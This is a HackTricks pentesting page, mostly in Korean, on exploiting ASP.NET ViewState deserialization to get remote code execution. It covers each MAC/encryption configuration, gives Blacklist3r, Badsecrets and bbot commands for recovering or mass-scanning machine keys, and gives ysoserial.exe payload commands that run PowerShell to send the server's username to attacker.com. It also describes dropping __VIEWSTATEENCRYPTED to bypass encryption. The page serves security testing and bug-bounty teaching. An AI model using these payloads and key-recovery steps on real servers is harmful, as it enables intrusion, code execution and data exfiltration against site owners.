Exploiting __VIEWSTATE without knowing the secrets

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

What is ViewState

ViewState는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하기 위한 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존될 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.

ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:

  • Base64:

  • 이 형식은 EnableViewStateMacViewStateEncryptionMode 속성이 모두 false로 설정될 때 사용됩니다.

  • Base64 + MAC (메시지 인증 코드) 활성화:

  • MAC의 활성화는 EnableViewStateMac 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다.

  • Base64 + 암호화:

  • 암호화는 ViewStateEncryptionMode 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다.

Test Cases

이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표를 자세히 설명합니다. 내용 요약은 다음과 같습니다:

  1. 모든 버전의 .NET에 대해, MAC과 암호화가 모두 비활성화된 경우, MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.

  2. 4.5 미만의 버전에 대해, MAC이 활성화되었지만 암호화가 비활성화된 경우, MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.

  3. 4.5 미만의 버전에 대해, MAC이 활성화되었든 비활성화되었든, 암호화가 활성화된 경우, MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.

  4. 4.5 이상의 버전에 대해, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

AspNetEnforceViewStateMac 레지스트리 키를 0으로 설정하여 ViewStateMAC를 완전히 비활성화할 수도 있습니다:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState 속성 식별하기

BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. 매개변수를 보호하는 데 Mac이 사용되지 않는 경우 YSoSerial.Net을 사용하여 이를 악용할 수 있습니다.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Test case 1과 같지만 ViewState 쿠키가 서버에서 전송되지 않음

개발자는 ViewState가 HTTP 요청의 일부가 되지 않도록 제거할 수 있습니다 (사용자는 이 쿠키를 받지 않음). ViewState존재하지 않으면, 그들의 구현이 ViewState 역직렬화와 관련된 잠재적 취약점으로부터 안전하다고 가정할 수 있습니다. 하지만, 그렇지 않습니다. 요청 본문에 ViewState 매개변수를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 코드 실행을 달성할 수 있습니다. 이는 Case 1에서 보여줍니다.

Test Case: 2 – .Net < 4.5 및 EnableViewStateMac=true & ViewStateEncryptionMode=false

특정 페이지에 대해 ViewState MAC활성화하려면 특정 aspx 파일에서 다음과 같은 변경을 해야 합니다:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

우리는 아래와 같이 web.config 파일에 설정하여 전체 애플리케이션에 대해서도 이를 수행할 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

매개변수가 MAC으로 보호되기 때문에 공격을 성공적으로 실행하려면 먼저 사용된 키가 필요합니다.

사용된 키를 찾기 위해 Blacklist3r(AspDotNetWrapper.exe) 를 사용해 볼 수 있습니다.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstate의 경우 "python blacklist3r" 유틸리티가 있으며, 이는 가장 빠른 사용 방법입니다.

viewstate와 generator를 직접 제공할 수 있습니다:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

또는, 대상 URL에 직접 연결하여 HTML에서 viewstate를 추출하려고 시도할 수 있습니다:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

취약한 viewstate를 대규모로 검색하기 위해, 서브도메인 열거와 함께 badsecrets BBOT 모듈을 사용할 수 있습니다:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

운이 좋다면 키를 찾을 수 있으며, YSoSerial.Net**:**를 사용하여 공격을 진행할 수 있습니다.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

서버에서 _VIEWSTATEGENERATOR 매개변수가 전송되지 않는 경우 --generator 매개변수를 제공할 필요가 없지만 다음 매개변수는 제공해야 합니다:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며, 취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다.

이 경우 Blacklist3r 모듈이 개발 중입니다...

.NET 4.5 이전에, ASP.NET은 ViewStateEncryptionMode가 _항상_으로 설정되어 있더라도 사용자로부터 암호화되지 않은 ___VIEWSTATE_ 매개변수를 받을 수 있습니다. ASP.NET은 요청에서 __VIEWSTATEENCRYPTED 매개변수의 존재만을 확인합니다. 이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.

따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, Case 2에서 사용된 YSoSerial.Net 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.

  • ViewState 역직렬화 취약점을 악용하기 위해 요청에서 __VIEWSTATEENCRYPTED 매개변수를 제거하십시오. 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

아래와 같이 web.config 파일 내에 아래 매개변수를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다.

<httpRuntime targetFramework="4.5" />

또는, 이는 web.config 파일의 machineKey 매개변수 내에 아래 옵션을 지정하여 수행할 수 있습니다.

compatibilityMode="Framework45"

이전과 마찬가지로 값이 암호화되어 있습니다. 그러므로 유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.

Blacklist3r(AspDotNetWrapper.exe) 를 사용하여 사용 중인 키를 찾을 수 있습니다:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath와 TargetPagePath에 대한 더 자세한 설명은 여기를 참조하세요

또는 Badsecrets (생성기 값 포함) 사용:

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

유효한 Machine key가 확인되면, 다음 단계는 YSoSerial.Net 을 사용하여 직렬화된 페이로드를 생성하는 것입니다.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

If you have the value of __VIEWSTATEGENERATOR you can try to use the --generator parameter with that value and omit the parameters --path and --apppath

ViewState 역직렬화 취약점을 성공적으로 악용하면 사용자 이름이 포함된 공격자 제어 서버에 대한 비동기 요청이 발생합니다. 이러한 종류의 익스플로잇은 "Blacklist3r 및 YsoSerial.NET을 사용한 ViewState 역직렬화 악용"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 악용 프로세스가 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 성공적인 악용의 PoC를 검토할 수 있습니다.

Test Case 6 – ViewStateUserKeys is being used

ViewStateUserKey 속성은 CSRF 공격에 대해 방어하는 데 사용할 수 있습니다. 애플리케이션에 그러한 키가 정의되어 있고 지금까지 논의된 방법으로 ViewState 페이로드를 생성하려고 하면 페이로드는 애플리케이션에 의해 처리되지 않습니다. 페이로드를 올바르게 생성하려면 하나의 매개변수를 더 사용해야 합니다:

--viewstateuserkey="randomstringdefinedintheserver"

Result of a Successful Exploitation

모든 테스트 케이스에서 ViewState YSoSerial.Net 페이로드가 성공적으로 작동하면 서버는 “500 Internal server error”와 함께 “이 페이지에 대한 상태 정보가 유효하지 않으며 손상되었을 수 있습니다”라는 응답 내용을 반환하고 OOB 요청을 받습니다.

여기에서 추가 정보를 확인하세요

References

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Support HackTricks

Last updated